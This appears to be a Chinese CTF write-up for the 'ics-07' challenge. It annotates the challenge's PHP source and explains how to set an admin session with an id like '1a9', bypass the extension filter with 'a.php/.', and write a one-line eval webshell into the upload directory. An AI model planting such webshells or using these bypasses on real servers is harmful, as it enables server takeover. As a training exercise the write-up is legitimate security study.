当前位置:网站首页>攻防世界----ics-07
攻防世界----ics-07
2022-07-26 20:48:00 【jjj34】
拿到题目后,一个一个点开

直接拿到了源码,源码中php部分分成三个
第一部分,判断有没有page这个参数
<?php
session_start();
if (!isset($_GET[page])) {
show_source(__FILE__);
die();
}//没有的话进入函数,展示文件,然后进程结束
if (isset($_GET[page]) && $_GET[page] != 'index.php') {
include('flag.php');
}else {//如果page有值,并且值等于index.php,就进行else的函数中,重定向到了flag.php页面
header('Location: ?page=flag.php');
}
?>
//从总体上看,这一部分要求传入一个page参数,只要这个page参数不为index.php即可第二部分,如果session有值的话,就可以传入两个参数
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;//file会拼接到filename下
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
//对filename进行正则过滤,过滤条件为 . 就是除了换行符外的所有字符,+就是前面一个字符出现任意次
// \. 就是匹配.
// p[3457]?说明 p3,p,p4,p5,p7出现0或一次,
//整体来说,就是匹配以 .php,.php3,.php4,.php5,.php7,.pht,.phtml 结尾的值
die("Bad file extension");
}else{
chdir('uploaded');//切换目录到 uploaded
$f = fopen($filename, 'w'); //以w方式打开文件,如果这个文件存在,就删掉,不存在就创建
fwrite($f, $con);//$f是文件,$con是写进去的内容
fclose($f);
}
}
?>
//整体来说,就是过正则,写一句话木马
//因为那个正则匹配了所有.php结尾的文件,因此我们需要用到解析漏洞第三部分,实现第二部分的关键,就是在于session是有值的,第三部分是给session赋值的
<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {//通过get方式传入id,这个id需要满足不等1,并且结尾是9,那就1a9,1*9,只要不是正常的数字就行
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);//将传入的id进行字符串解析,防止了sql注入
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);//查询数据库
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}
if(!$result)die("<br >something wae wrong ! <br>");
if($result){//如果上面result有值的话,session就是true,能够进入第二部分
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>
结合上面三个部分,总结就是
1.传入一个page参数,page只要不是等于index.php就好
2.在session为true的情况下,因为没有对con进行过滤,那con直接等于一句话木马即可即
con=<[email protected]($_POST['666']);?>
因为对file进行过滤了,所以file需要用到解析漏洞的知识点,file=a.php/.
3.为了满足if的判断,id的值不能为一个正常的整数,需要这样:1a9,1iii9,只要1和9之间有东西(并且不能为一个正常的整数,如199)即可
最后的payload如下

这里需要注意一下url,在第二部分中有一个chdir()的函数,这个函数的作用是切换目录
chdir(uploaded)就是切换目录到uploaded,而filename= backup/1.php
所以地址不是 /backup/1.php而是 uploaded/backup/1.php 
边栏推荐
- About: get the domain controller of the current client login
- Calculation formula of retained earnings rate
- We were tossed all night by a Kong performance bug
- [virtual machine data recovery] data recovery of XenServer virtual machine unavailable due to unexpected power failure
- Flash source code outline
- (C language) a brief introduction to define
- Huawei released the top ten trends in 2025: 5g, robot, AI, etc
- 5、 Applet error: message:error: system error, error code: 80058, desc of scope userLocation is empty
- Devsecops, speed and security
- Object.getOwnPropertyNames() VS Object.keys()
猜你喜欢

We were tossed all night by a Kong performance bug

Devsecops, speed and security

Type assertion in typescript

CMake 的使用

Solution to the problem of sticking and unpacking TCP

From manual test to automatic test, it only took me a few months to double my salary

Selenium自动化测试面试题全家桶

Set the template of core configuration file in idea

七、微信小程序运行报错:Error: AppID 不合法,invalid appid

TypeScript中的类型断言
随机推荐
【HCIA安全】NAT网络地址转换
基于memcache的缓存机制的6个指令
How to implement Devops with automation tools | including low code and Devops application practice
Valley segment coverage - (summary of interval sequencing problem)
Smooth scroll to element
分布式 session 的4个解决方案
Huawei released the top ten trends in 2025: 5g, robot, AI, etc
Alkbh1
华为发布2025十大趋势:5G、机器人、AI等上榜
CONDA reports an error: json.decoder.jsondecodeerror:
Basic use of livedatade
Browser browser cache
成功上岸了自动化测试岗,最高月薪15.4K,自己真棒~
Cfdiv1+2-pathwalks- (tree array + linear DP)
Redis hash和string的区别
Number() VS parseInt()
< button> and < input type=button />
About: get the domain controller of the current client login
TypeScript中的类型断言
ROS2节点通信实现零拷贝